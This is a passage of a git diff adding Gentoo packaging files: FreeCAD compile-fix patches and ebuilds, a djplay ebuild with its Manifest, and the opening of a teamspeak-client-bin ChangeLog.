00:14:25.625540687 +0100 ++++ src/Base/Makefile.am 2010-10-27 12:29:37.000000000 +0200 +@@ -65,16 +65,6 @@ + Swap.cpp \ + swigpyrun.inl \ + swigpyrun.cpp \ +- swigpyrun_1.3.25.cpp \ +- swigpyrun_1.3.25.h \ +- swigpyrun_1.3.33.cpp \ +- swigpyrun_1.3.33.h \ +- swigpyrun_1.3.36.cpp \ +- swigpyrun_1.3.36.h \ +- swigpyrun_1.3.38.cpp \ +- swigpyrun_1.3.38.h \ +- swigpyrun_1.3.40.cpp \ +- swigpyrun_1.3.40.h \ + TimeInfo.cpp \ + Type.cpp \ + Tools.cpp \ diff --git a/media-gfx/freecad/files/freecad-0.12.5284-salomesmesh-occ-6.5.5.patch b/media-gfx/freecad/files/freecad-0.12.5284-salomesmesh-occ-6.5.5.patch new file mode 100644 index 00000000..50e30e6c --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.12.5284-salomesmesh-occ-6.5.5.patch @@ -0,0 +1,228 @@ +--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/SMESH/SMESH_MeshEditor.cpp ++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/SMESH/SMESH_MeshEditor.cpp +@@ -1374,7 +1374,7 @@ + const SMDS_MeshNode * n1, + const SMDS_MeshNode * n2) + { +- double angle = 2*PI; // bad angle ++ double angle = 2*M_PI; // bad angle + + // get normals + SMESH::Controls::TSequenceOfXYZ P1, P2; +--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/SMESH/SMESH_Pattern.cpp ++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/SMESH/SMESH_Pattern.cpp +@@ -1234,7 +1234,7 @@ + maxLen2 = Max( maxLen2, ( n[1]->myUV - n[2]->myUV ).SquareModulus() ); + } + maxLen2 = Max( maxLen2, ( n[2]->myUV - node->myUV ).SquareModulus() ); +- minDiag = sqrt( maxLen2 ) * PI / 60.; // ~ maxLen * Sin( 3 deg ) ++ minDiag = sqrt( maxLen2 ) * M_PI / 60.; // ~ maxLen * Sin( 3 deg ) + } + + // check if newUV is behind 3 dirs: n[0]-n[1], n[1]-n[2] and n[0]-n[2] +@@ -1721,9 +1721,9 @@ + if ( iDir == 1 ) + aNorm[ iDir ].Reverse(); // along iDir isoline + +- double angle = tgt1.Angle( tgt2 ); // [-PI, PI] ++ double angle = tgt1.Angle( tgt2 ); // [-M_PI, M_PI] + // maybe angle is more than |PI| +- if ( Abs( angle ) > PI / 2. ) { ++ if ( Abs( angle ) > M_PI / 2. ) { + // check direction of the last but one perpendicular isoline + TIsoNode* prevNode = bndNode2->GetNext( iDir, 0 ); + bndNode1 = prevNode->GetBoundaryNode( 1 - iDir, 0 ); +@@ -1734,7 +1734,7 @@ + double angle2 = tgt1.Angle( isoDir ); + //cout << " isoDir: "<< isoDir.X() <<" "<myUV.X()<<" "<myUV.Y()<< endl; + // cout << "bndNode2: " << bndNode2->myUV.X()<<" "<myUV.Y()<myDir[0].Angle( node->myDir[1] ); + if ( reversed ) angle = -angle; +- if ( initAngle > angle && initAngle - angle > PI / 2.1 ) { ++ if ( initAngle > angle && initAngle - angle > M_PI / 2.1 ) { + // find a close internal node + TIsoNode* nClose = 0; + list< TIsoNode* > testNodes; +--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/Controls/SMESH_Controls.cpp ++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/Controls/SMESH_Controls.cpp +@@ -332,12 +332,12 @@ + aMin = Min(aMin,A0); + } + +- return aMin * 180.0 / PI; ++ return aMin * 180.0 / M_PI; + } + + double MinimumAngle::GetBadRate( double Value, int nbNodes ) const + { +- //const double aBestAngle = PI / nbNodes; ++ //const double aBestAngle = M_PI / nbNodes; + const double aBestAngle = 180.0 - ( 360.0 / double(nbNodes) ); + return ( fabs( aBestAngle - Value )); + } +@@ -831,19 +831,19 @@ + gp_XYZ N = GI.Crossed( GJ ); + + if ( N.Modulus() < gp::Resolution() ) +- return PI / 2; ++ return M_PI / 2; + + N.Normalize(); + + double H = ( thePnt2 - theG ).Dot( N ); +- return asin( fabs( H / L ) ) * 180. / PI; ++ return asin( fabs( H / L ) ) * 180. / M_PI; + } + + double Warping::GetBadRate( double Value, int /*nbNodes*/ ) const + { + // the warp is in the range [0.0,PI/2] + // 0.0 = good (no warp) +- // PI/2 = bad (face pliee) ++ // M_PI/2 = bad (face pliee) + return Value; + } + +@@ -915,14 +915,14 @@ + return 0.; + + // Compute skew +- static double PI2 = PI / 2.; ++ static double PI2 = M_PI / 2.; + if ( P.size() == 3 ) + { + double A0 = fabs( PI2 - skewAngle( P( 3 ), P( 1 ), P( 2 ) ) ); + double A1 = fabs( PI2 - skewAngle( P( 1 ), P( 2 ), P( 3 ) ) ); + double A2 = fabs( PI2 - skewAngle( P( 2 ), P( 3 ), P( 1 ) ) ); + +- return Max( A0, Max( A1, A2 ) ) * 180. / PI; ++ return Max( A0, Max( A1, A2 ) ) * 180. / M_PI; + } + else + { +@@ -939,7 +939,7 @@ + if ( A < Precision::Angular() ) + return 0.; + +- return A * 180. / PI; ++ return A * 180. / M_PI; + } + } + +--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_CompositeHexa_3D.cpp ++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_CompositeHexa_3D.cpp +@@ -812,7 +812,7 @@ + int iMyCommon; + if ( mySides.Contain( otherSide, &iMyCommon ) ) { + // check if normals of two faces are collinear at all vertices of a otherSide +- const double angleTol = PI / 180 / 2; ++ const double angleTol = M_PI / 180 / 2; + int iV, nbV = otherSide.NbVertices(), nbCollinear = 0; + for ( iV = 0; iV < nbV; ++iV ) + { +--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_RadialQuadrangle_1D2D.cpp ++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_RadialQuadrangle_1D2D.cpp +@@ -355,8 +355,8 @@ + for(; itn != theNodes.end(); itn++ ) { + CNodes.push_back( (*itn).second ); + double ang = (*itn).first - fang; +- if( ang>PI ) ang = ang - 2*PI; +- if( ang<-PI ) ang = ang + 2*PI; ++ if( ang>M_PI ) ang = ang - 2*M_PI; ++ if( ang<-M_PI ) ang = ang + 2*M_PI; + Angles.Append( ang ); + } + } +@@ -404,7 +404,7 @@ + // a segment of line + double fp, lp; + Handle(Geom_Circle) aCirc = Handle(Geom_Circle)::DownCast( getCurve( CircEdge, &fp, &lp )); +- if( fabs(fabs(lp-fp)-PI) > Precision::Confusion() ) { ++ if( fabs(fabs(lp-fp)-M_PI) > Precision::Confusion() ) { + // not half of circle + return error(COMPERR_BAD_SHAPE); + } +@@ -434,8 +434,8 @@ + for(; itn != theNodes.end(); itn++ ) { + CNodes.push_back( (*itn).second ); + double ang = (*itn).first - fang; +- if( ang>PI ) ang = ang - 2*PI; +- if( ang<-PI ) ang = ang + 2*PI; ++ if( ang>M_PI ) ang = ang - 2*M_PI; ++ if( ang<-M_PI ) ang = ang + 2*M_PI; + Angles.Append( ang ); + } + const SMDS_MeshNode* NF = theNodes.begin()->second; +@@ -587,8 +587,8 @@ + for(; itn != theNodes.end(); itn++ ) { + CNodes.push_back( (*itn).second ); + double ang = (*itn).first - fang; +- if( ang>PI ) ang = ang - 2*PI; +- if( ang<-PI ) ang = ang + 2*PI; ++ if( ang>M_PI ) ang = ang - 2*M_PI; ++ if( ang<-M_PI ) ang = ang + 2*M_PI; + Angles.Append( ang ); + } + P1 = gp_Pnt( NF->X(), NF->Y(), NF->Z() ); +@@ -1055,7 +1055,7 @@ + aLine = Handle(Geom_Line)::DownCast(C3); + } + bool ok = !aCirc.IsNull() && !aLine.IsNull(); +- if( fabs(fabs(lp-fp)-PI) > Precision::Confusion() ) { ++ if( fabs(fabs(lp-fp)-M_PI) > Precision::Confusion() ) { + // not half of circle + ok = false; + } +--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_QuadToTriaAdaptor.cpp ++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_QuadToTriaAdaptor.cpp +@@ -1037,19 +1037,19 @@ + double ang1 = fabs(VN1.Angle(VI1)); + double ang2 = fabs(VN2.Angle(VI2)); + double h1,h2; +- if(ang1>PI/3.) ++ if(ang1>M_PI/3.) + h1 = VI1.Magnitude()/2; + else + h1 = VI1.Magnitude()*cos(ang1); +- if(ang2>PI/3.) ++ if(ang2>M_PI/3.) + h2 = VI2.Magnitude()/2; + else + h2 = VI2.Magnitude()*cos(ang2); + double coef1 = 0.5; +- if(ang1(Ns1[4]); +--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_AutomaticLength.cpp ++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_AutomaticLength.cpp +@@ -116,7 +116,7 @@ + */ + //================================================================================ + +- const double a14divPI = 14. / PI; ++ const double a14divPI = 14. / M_PI; + + inline double segLength(double S0, double edgeLen, double minLen ) + { diff --git a/media-gfx/freecad/files/freecad-0.13.1830-remove-qt3-support.patch b/media-gfx/freecad/files/freecad-0.13.1830-remove-qt3-support.patch new file mode 100644 index 00000000..8f761d87 --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.13.1830-remove-qt3-support.patch @@ -0,0 +1,33 @@ +--- freecad-0.13.1830/src/Mod/Arch/Resources/ui/archprefs-base.ui ++++ freecad-0.13.1830/src/Mod/Arch/Resources/ui/archprefs-base.ui +@@ -309,7 +309,7 @@ + + + +- qPixmapFromMimeSource ++ + + + Gui::ColorButton +--- freecad-0.13.1830/src/Mod/Draft/Resources/ui/userprefs-base.ui ++++ freecad-0.13.1830/src/Mod/Draft/Resources/ui/userprefs-base.ui +@@ -1185,7 +1185,7 @@ + + + +- qPixmapFromMimeSource ++ + + + Gui::FileChooser +--- freecad-0.13.1830/src/Mod/Draft/Resources/ui/userprefs-import.ui ++++ freecad-0.13.1830/src/Mod/Draft/Resources/ui/userprefs-import.ui +@@ -536,7 +536,7 @@ + + + +- qPixmapFromMimeSource ++ + + + Gui::FileChooser diff --git a/media-gfx/freecad/freecad-0.12.5284-r2.ebuild b/media-gfx/freecad/freecad-0.12.5284-r2.ebuild new file mode 100644 index 00000000..dc7ea5b0 --- /dev/null +++ b/media-gfx/freecad/freecad-0.12.5284-r2.ebuild @@ -0,0 +1,91 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-gfx/freecad/freecad-0.12.5284-r2.ebuild,v 1.7 2013/03/07 15:54:35 axs Exp $ + +EAPI=4 +PYTHON_DEPEND=2 + +inherit base multilib fortran-2 flag-o-matic python cmake-utils + +MY_P="freecad-${PV}" +MY_PD="FreeCAD-${PV}" + +DESCRIPTION="QT based Computer Aided Design application" +HOMEPAGE="http://sourceforge.net/apps/mediawiki/free-cad/" +SRC_URI="mirror://sourceforge/free-cad/${MY_P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +RDEPEND=" + dev-cpp/eigen:3 + dev-games/ode + dev-libs/boost + dev-libs/libf2c + dev-libs/xerces-c[icu] + dev-python/pivy + dev-python/PyQt4[svg] + media-libs/coin + media-libs/SoQt + >=sci-libs/opencascade-6.3-r3 + sci-libs/gts + sys-libs/zlib + virtual/glu + dev-qt/qtgui:4 + dev-qt/qtopengl:4 + dev-qt/qtsvg:4 + dev-qt/qtwebkit:4 + dev-qt/qtxmlpatterns:4" +DEPEND="${RDEPEND} + >=dev-lang/swig-2.0.4-r1" + +RESTRICT="bindist mirror" +# http://bugs.gentoo.org/show_bug.cgi?id=352435 +# http://www.gentoo.org/foundation/en/minutes/2011/20110220_trustees.meeting_log.txt + +S="${WORKDIR}/${MY_PD}" + +PATCHES=( + "${FILESDIR}/${P}-gcc46.patch" + "${FILESDIR}/${P}-removeoldswig.patch" + "${FILESDIR}/${P}-glu.patch" + "${FILESDIR}/${P}-nodir.patch" + "${FILESDIR}/${P}-nopivy.patch" + "${FILESDIR}/${P}-qt3support.patch" + "${FILESDIR}/${P}-boost148.patch" +) + +pkg_setup() { + fortran-2_pkg_setup + python_set_active_version 2 +} + +src_prepare() { + base_src_prepare + append-cxxflags -fpermissive +} + +src_configure() { + local mycmakeargs=( + -DOCC_INCLUDE_DIR=${CASROOT}/inc + -DOCC_INCLUDE_PATH=${CASROOT}/inc + -DOCC_LIBRARY=${CASROOT}/lib/libTKernel.so + -DOCC_LIBRARY_DIR=${CASROOT}/lib + -DOCC_LIB_PATH=${CASROOT}/lib + -DCOIN3D_INCLUDE_DIR=/usr/include/coin + -DCOIN3D_LIBRARY=/usr/$(get_libdir)/libCoin.so + -DSOQT_LIBRARY=/usr/$(get_libdir)/libSoQt.so + -DSOQT_INCLUDE_PATH=/usr/include/coin + ) + cmake-utils_src_configure +} + +src_install() { + cmake-utils_src_install + + find "${D}" -name "*.la" -exec rm {} + + + dodoc README.Linux ChangeLog.txt +} diff --git a/media-gfx/freecad/freecad-0.12.5284-r3.ebuild b/media-gfx/freecad/freecad-0.12.5284-r3.ebuild new file mode 100644 index 00000000..ca4375ba --- /dev/null +++ b/media-gfx/freecad/freecad-0.12.5284-r3.ebuild @@ -0,0 +1,128 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-gfx/freecad/freecad-0.12.5284-r3.ebuild,v 1.1 2013/04/27 22:49:15 xmw Exp $ + +EAPI=5 + +PYTHON_DEPEND=2 + +inherit eutils multilib fortran-2 python cmake-utils + +DESCRIPTION="QT based Computer Aided Design application" +HOMEPAGE="http://sourceforge.net/apps/mediawiki/free-cad/" +SRC_URI="mirror://sourceforge/free-cad/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +RDEPEND="dev-cpp/eigen:3 + dev-games/ode + dev-libs/boost + dev-libs/libf2c + dev-libs/libspnav[X] + dev-libs/xerces-c[icu] + dev-python/PyQt4[svg] + dev-python/pivy + dev-qt/qtgui:4 + dev-qt/qtopengl:4 + dev-qt/qtsvg:4 + dev-qt/qtwebkit:4 + dev-qt/qtxmlpatterns:4 + media-libs/SoQt + media-libs/coin[doc] + sci-libs/gts + sci-libs/opencascade + sys-libs/zlib + virtual/glu" +DEPEND="${RDEPEND} + >=dev-lang/swig-2.0.4-r1:0" + +# http://bugs.gentoo.org/show_bug.cgi?id=352435 +# http://www.gentoo.org/foundation/en/minutes/2011/20110220_trustees.meeting_log.txt +RESTRICT="bindist mirror" + +S="${WORKDIR}/FreeCAD-${PV}" + +pkg_setup() { + fortran-2_pkg_setup + python_set_active_version 2 +} + +src_prepare() { + einfo remove bundled libs + rm -rf src/3rdParty/{Pivy{,-0.5},boost} + einfo cleanup build system + find . -name "configure*" -print -delete + + epatch \ + "${FILESDIR}"/${P}-gcc46.patch \ + "${FILESDIR}"/${P}-removeoldswig.patch \ + "${FILESDIR}"/${P}-glu.patch \ + "${FILESDIR}"/${P}-nodir.patch \ + "${FILESDIR}"/${P}-qt3support.patch \ + "${FILESDIR}"/${P}-boost148.patch \ + "${FILESDIR}"/${P}-nopivy.patch \ + "${FILESDIR}"/${P}-no-permissive.patch + + local my_cas_version=$(eselect opencascadee show 2>/dev/null || echo 6.5) + if [ "${my_cas_version}" > "6.5.0" ] ; then + epatch "${FILESDIR}"/${P}-occ-6.5.5.patch + epatch "${FILESDIR}"/${P}-salomesmesh-occ-6.5.5.patch + fi + + local my_coin_version=$(best_version media-libs/coin) + local my_coin_path="${EROOT}"usr/share/doc/${my_coin_version##*/}/html + sed -e "s:/usr/share/doc/libcoin60-doc/html:${my_coin_path}:" \ + -i cMake/FindCoin3DDoc.cmake || die + + sed -e '/FREECAD_BUILD_FEM/s: ON): OFF):' \ + -i CMakeLists.txt || die + #sed -e '/add_subdirectory(Fem)/d' \ + # -e '/add_subdirectory(MeshPart)/d' \ + # -i src/Mod/CMakeLists.txt || die +} + +src_configure() { + local my_occ_env=${EROOT}etc/env.d/50opencascade + if [ -e "${EROOT}etc//env.d/51opencascade" ] ; then + my_occ_env=${EROOT}etc/env.d/51opencascade + fi + export CASROOT=$(sed -ne '/^CASROOT=/{s:.*=:: ; p}' $my_occ_env) + + local mycmakeargs=( + -DOCC_INCLUDE_DIR="${CASROOT}"/inc + -DOCC_INCLUDE_PATH="${CASROOT}"/inc + -DOCC_LIBRARY="${CASROOT}"/lib/libTKernel.so + -DOCC_LIBRARY_DIR="${CASROOT}"/lib + -DOCC_LIB_PATH="${CASROOT}"/lib + -DCOIN3D_INCLUDE_DIR="${EROOT}"usr/include/coin + -DCOIN3D_LIBRARY="${EROOT}"usr/$(get_libdir)/libCoin.so + -DSOQT_LIBRARY="${EROOT}"usr/$(get_libdir)/libSoQt.so + -DSOQT_INCLUDE_PATH="${EROOT}"usr/include/coin + -DCMAKE_INSTALL_PREFIX="${EROOT}"usr/$(get_libdir)/${P} + ) + cmake-utils_src_configure + ewarn "${P} will be built against opencascade version ${CASROOT}" +} + +src_install() { + cmake-utils_src_install + insinto /usr/$(get_libdir)/${P}/Mod/Start + doins -r src/Mod/Start/StartPage + + prune_libtool_files + + make_wrapper FreeCAD \ + "${EROOT}"usr/$(get_libdir)/${P}/bin/FreeCAD \ + "" "${EROOT}"usr/$(get_libdir)/${P}/lib + make_wrapper FreeCADCmd \ + "${EROOT}"usr/$(get_libdir)/${P}/bin/FreeCADCmd \ + "" "${EROOT}"usr/$(get_libdir)/${P}/lib + + newicon src/Main/icon.ico ${PN}.ico + make_desktop_entry FreeCAD + + dodoc README.Linux ChangeLog.txt +} diff --git a/media-gfx/freecad/freecad-0.13.1830.ebuild b/media-gfx/freecad/freecad-0.13.1830.ebuild new file mode 100644 index 00000000..6dfc820a --- /dev/null +++ b/media-gfx/freecad/freecad-0.13.1830.ebuild @@ -0,0 +1,88 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-gfx/freecad/freecad-0.13.1830.ebuild,v 1.2 2013/05/09 08:36:38 xmw Exp $ + +EAPI=5 + +PYTHON_DEPEND=2 + +inherit eutils multilib fortran-2 python cmake-utils + +DESCRIPTION="QT based Computer Aided Design application" +HOMEPAGE="http://www.freecadweb.org/" +SRC_URI="mirror://sourceforge/free-cad/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="" +IUSE="" + +RDEPEND="dev-cpp/eigen:3 + dev-games/ode + dev-libs/boost + dev-libs/libf2c + dev-libs/libspnav[X] + dev-libs/xerces-c[icu] + dev-python/PyQt4[svg] + dev-python/pivy + dev-qt/qtgui:4 + dev-qt/qtopengl:4 + dev-qt/qtsvg:4 + dev-qt/qtwebkit:4 + dev-qt/qtxmlpatterns:4 + media-libs/SoQt + media-libs/coin[doc] + sci-libs/gts + sci-libs/opencascade + sys-libs/zlib + virtual/glu" +DEPEND="${RDEPEND} + >=dev-lang/swig-2.0.4-r1:0" + +# http://bugs.gentoo.org/show_bug.cgi?id=352435 +# http://www.gentoo.org/foundation/en/minutes/2011/20110220_trustees.meeting_log.txt +RESTRICT="bindist mirror" + +pkg_setup() { + fortran-2_pkg_setup + python_set_active_version 2 +} + +src_prepare() { + einfo remove bundled libs + rm -rf src/3rdParty + + epatch "${FILESDIR}"/${P}-remove-qt3-support.patch +} + +src_configure() { + local my_occ_env=${EROOT}etc/env.d/50opencascade + if [ -e "${EROOT}etc//env.d/51opencascade" ] ; then + my_occ_env=${EROOT}etc/env.d/51opencascade + fi + export CASROOT=$(sed -ne '/^CASROOT=/{s:.*=:: ; p}' $my_occ_env) + + local mycmakeargs=( + -DOCC_INCLUDE_DIR="${CASROOT}"/inc + -DOCC_INCLUDE_PATH="${CASROOT}"/inc + -DOCC_LIBRARY="${CASROOT}"/lib/libTKernel.so + -DOCC_LIBRARY_DIR="${CASROOT}"/lib + -DOCC_LIB_PATH="${CASROOT}"/lib + -DCOIN3D_INCLUDE_DIR="${EROOT}"usr/include/coin + -DCOIN3D_LIBRARY="${EROOT}"usr/$(get_libdir)/libCoin.so + -DSOQT_LIBRARY="${EROOT}"usr/$(get_libdir)/libSoQt.so + -DSOQT_INCLUDE_PATH="${EROOT}"usr/include/coin + -DCMAKE_BINARY_DIR="${EROOT}"usr/bin + -DCMAKE_INSTALL_PREFIX="${EROOT}"usr/$(get_libdir)/${P} + ) + cmake-utils_src_configure + ewarn "${P} will be built against opencascade version ${CASROOT}" +} + +src_install() { + cmake-utils_src_install + + prune_libtool_files + + dodoc README.Linux ChangeLog.txt +} diff --git a/media-gfx/freecad/freecad-9999.ebuild b/media-gfx/freecad/freecad-9999.ebuild new file mode 100644 index 00000000..305d3633 --- /dev/null +++ b/media-gfx/freecad/freecad-9999.ebuild @@ -0,0 +1,107 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-gfx/freecad/freecad-0.11.3729.ebuild,v 1.6 2011/11/13 20:13:27 dilfridge Exp $ + +EAPI=3 + +PYTHON_DEPEND=2 + +inherit base eutils fortran-2 multilib autotools flag-o-matic python git-2 + +MY_P="freecad-${PV}" +MY_PD="FreeCAD-${PV}" + +DESCRIPTION="QT based Computer Aided Design application" +HOMEPAGE="http://sourceforge.net/apps/mediawiki/free-cad/" +EGIT_REPO_URI="git://free-cad.git.sourceforge.net/gitroot/free-cad/free-cad" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="soqt assembly sandbox cam loginfo" + +RDEPEND=" + dev-cpp/eigen + dev-games/ode + dev-libs/boost + dev-libs/xerces-c + dev-python/pivy + dev-python/PyQt4[svg] + media-libs/coin + soqt? ( media-libs/SoQt ) + >=sci-libs/opencascade-6.3 + sci-libs/gts + sys-libs/zlib + virtual/fortran + x11-libs/qt-gui:4 + x11-libs/qt-opengl:4 + x11-libs/qt-svg:4 + x11-libs/qt-webkit:4 + x11-libs/qt-xmlpatterns:4 + x11-libs/qt-qt3support:4" +DEPEND="${RDEPEND} + dev-lang/swig" + +#PATCHES=( "${FILESDIR}/${P}-asneeded.patch" ) + +RESTRICT="bindist mirror" +# http://bugs.gentoo.org/show_bug.cgi?id=352435 +# http://www.gentoo.org/foundation/en/minutes/2011/20110220_trustees.meeting_log.txt + +S="${WORKDIR}/${MY_PD}" + +pkg_setup() { + fortran-2_pkg_setup + python_set_active_version 2 +} + +src_prepare() { + base_src_prepare + ./autogen.sh + eautoreconf +} + +src_configure() { + if use assembly ; then + --enable-assembly + fi + if use sandbox ; then + --enable-sandbox + fi + if use cam ; then + --enable-cam + fi + if use loginfo ; then + --enable-loginfo + fi + if ! use soqt ; then + --without-soqt + fi + append-cflags "-DBOOST_FILESYSTEM_VERSION=2" + append-cppflags "-DBOOST_FILESYSTEM_VERSION=2" + append-cxxflags "-DBOOST_FILESYSTEM_VERSION=2" + econf \ + --with-qt4-include="${EPREFIX}"/usr/include/qt4 \ + --with-qt4-bin="${EPREFIX}"//usr/bin \ + --with-qt4-lib="${EPREFIX}"//usr/$(get_libdir)/qt4 \ + --with-occ-include=${CASROOT}/inc \ + --with-occ-lib=${CASROOT}/lib +} + +src_compile() { + #For compilation safety keep j1 + MAKEOPTS="-j1" base_src_compile +} + +src_install() { + emake DESTDIR="${D}" install || die "install failed" + + find "${D}" -name "*.la" -exec rm {} + + + dodoc README.Linux ChangeLog.txt || die + + dodir /usr/share/apps/freecad || die + mv "${D}/usr/share/freecad.xpm" "${D}/usr/share/apps/freecad/" || die + + make_desktop_entry FreeCAD FreeCAD /usr/share/apps/freecad/freecad.xpm +} diff --git a/media-sound/djplay/Manifest b/media-sound/djplay/Manifest new file mode 100644 index 00000000..df65629c --- /dev/null +++ b/media-sound/djplay/Manifest @@ -0,0 +1,2 @@ +DIST djplay_0.5.0-3.1+b1_amd64.deb 310504 SHA256 951620f984bb0ca1d526379855aa2a1e2c7f3446d2fa52da87dfc7ee3eab590d SHA512 f8a157e3552ce98686cf17f0d6acbaff35380b91c414f3452c81d25fbc4d33a1b35ffe3e9b25e89b4ae19c52ede394d17d3c63662fe086f5bd02aff97b3ed9f2 WHIRLPOOL 2d3ea104f3673427d94043885255a0123b33bdc0d4423b639bee9cd3010117bf97b24f3c804da70e21d62157e8a9f5e23f7b06536f4e6907672ad29bcb8e407c +EBUILD djplay-0.5.0.ebuild 664 SHA256 4b7e8d01498c396b1cba7b1ddc631796db32db1f95bef492e353d18c48455b60 SHA512 31aa2946113edf316a12876aab3ba2b9fac4231414ac7d5d886c6c7f570ee505bd101d1d355401614f4d418ce869df0f7d766810de9f7ef0b81ed5fd97421c0b WHIRLPOOL 5f2735b002f3973d012ab87b43bdb489cdded6ddf31bf36c58323f84b5859119dab2ad7e1f47d66251a1cc221fbd792caea607ba1f0e390bc94bf4a10e7c9888 diff --git a/media-sound/djplay/djplay-0.5.0.ebuild b/media-sound/djplay/djplay-0.5.0.ebuild new file mode 100644 index 00000000..7b294a6b --- /dev/null +++ b/media-sound/djplay/djplay-0.5.0.ebuild @@ -0,0 +1,34 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 + +inherit eutils unpacker + +DESCRIPTION="Djplay sound application" +HOMEPAGE="http://djplay.sourceforge.net/" +SRC_URI="http://http.us.debian.org/debian/pool/main/d/${PN}/${PN}_${PV}-3.1+b1_amd64.deb" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" + +RDEPEND="x11-libs/qt-meta:3" +DEPEND="${RDEPEND}" + +S="${WORKDIR}" + +src_unpack() { + unpack "${A}" +} + +src_prepare() { + unpack_deb http://http.us.debian.org/debian/pool/main/d/${PN}/${PN}_${PV}-3.1+b1_amd64.deb +} + +src_install() { + insinto / + doins -r "${S}"/usr + fperms u+x /usr/bin/djplay* +} diff --git a/media-sound/teamspeak-client-bin/ChangeLog b/media-sound/teamspeak-client-bin/ChangeLog new file mode 100644 index 00000000..8a380f62 --- /dev/null +++ b/media-sound/teamspeak-client-bin/ChangeLog @@ -0,0 +1,148 @@ +# ChangeLog for media-sound/teamspeak-client-bin +# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/ChangeLog,v 1.23 2012/05/09 11:49:45 polynomial-c Exp $ + +*teamspeak-client-bin-3.0.6 (09 May 2012) + + 09 May 2012; Lars Wendler + -teamspeak-client-bin-3.0.0_beta36.ebuild, + +teamspeak-client-bin-3.0.6.ebuild: + non-maintainer commit: Version bump. Removed ancient version. + + 14 Apr 2012; Pacho Ramos + teamspeak-client-bin-3.0.0_beta36.ebuild, + teamspeak-client-bin-3.0.0_rc1.ebuild: + Fix bug #411003. + + 05 Feb 2012; Mike Frysinger + teamspeak-client-bin-3.0.0_beta36.ebuild, + teamspeak-client-bin-3.0.0_rc1.ebuild: + Use unpack_makeself now that it supports newer versions. + + 21 Oct 2011; Samuli Suominen + teamspeak-client-bin-3.0.0_beta36.ebuild, + teamspeak-client-bin-3.0.0_rc1.ebuild: + Remove unused =media-libs/libpng-1.4* RDEPEND. The bundled copy of libQtGui + has NEEDED entry for libpng12.so.0 but this is not required when using the + system libQtGui. + +*teamspeak-client-bin-3.0.0_rc1 (03 Jun 2011) + + 03 Jun 2011; Christian Parpart + -teamspeak-client-bin-3.0.0_beta29.ebuild, + -teamspeak-client-bin-3.0.0_beta32.ebuild, + -teamspeak-client-bin-3.0.0_beta32-r1.ebuild, + -teamspeak-client-bin-3.0.0_beta32-r2.ebuild, + +teamspeak-client-bin-3.0.0_rc1.ebuild: + version bump and cleanup + +*teamspeak-client-bin-3.0.0_beta36 (27 Feb 2011) + + 27 Feb 2011; Christian Parpart + +teamspeak-client-bin-3.0.0_beta36.ebuild: + version bump + +*teamspeak-client-bin-3.0.0_beta32-r2 (23 Oct 2010) + + 23 Oct 2010; Christian Parpart + +teamspeak-client-bin-3.0.0_beta32-r2.ebuild: + adds desktop icon. fixes #330293 (thanks to David Mihalcin Jr. + ) + +*teamspeak-client-bin-3.0.0_beta32-r1 (23 Oct 2010) + + 23 Oct 2010; Christian Parpart + +teamspeak-client-bin-3.0.0_beta32-r1.ebuild: + fixes #328807 - thanks to wrstwssr@yahoo.com + +*teamspeak-client-bin-3.0.0_beta32 (23 Oct 2010) + + 23 Oct 2010; Christian Parpart files/teamspeak3, + +teamspeak-client-bin-3.0.0_beta32.ebuild: + version bump + +*teamspeak-client-bin-3.0.0_beta29 (11 Sep 2010) + + 11 Sep 2010; Christian Parpart + -teamspeak-client-bin-3.0.0_beta15.ebuild, + -teamspeak-client-bin-3.0.0_beta17.ebuild, + -teamspeak-client-bin-3.0.0_beta20.ebuild, + -teamspeak-client-bin-3.0.0_beta21.ebuild, + -teamspeak-client-bin-3.0.0_beta22.ebuild, + +teamspeak-client-bin-3.0.0_beta29.ebuild: + version bump plus ebuild cleanup + + 14 Jul 2010; Christian Parpart + teamspeak-client-bin-3.0.0_beta22.ebuild: + added =media-libs/libpng-1.2* to RDEPENDS + +*teamspeak-client-bin-3.0.0_beta22 (20 Jun 2010) + + 20 Jun 2010; Christian Parpart + +teamspeak-client-bin-3.0.0_beta22.ebuild: + version bump + +*teamspeak-client-bin-3.0.0_beta21 (03 Jun 2010) + + 03 Jun 2010; Christian Parpart + 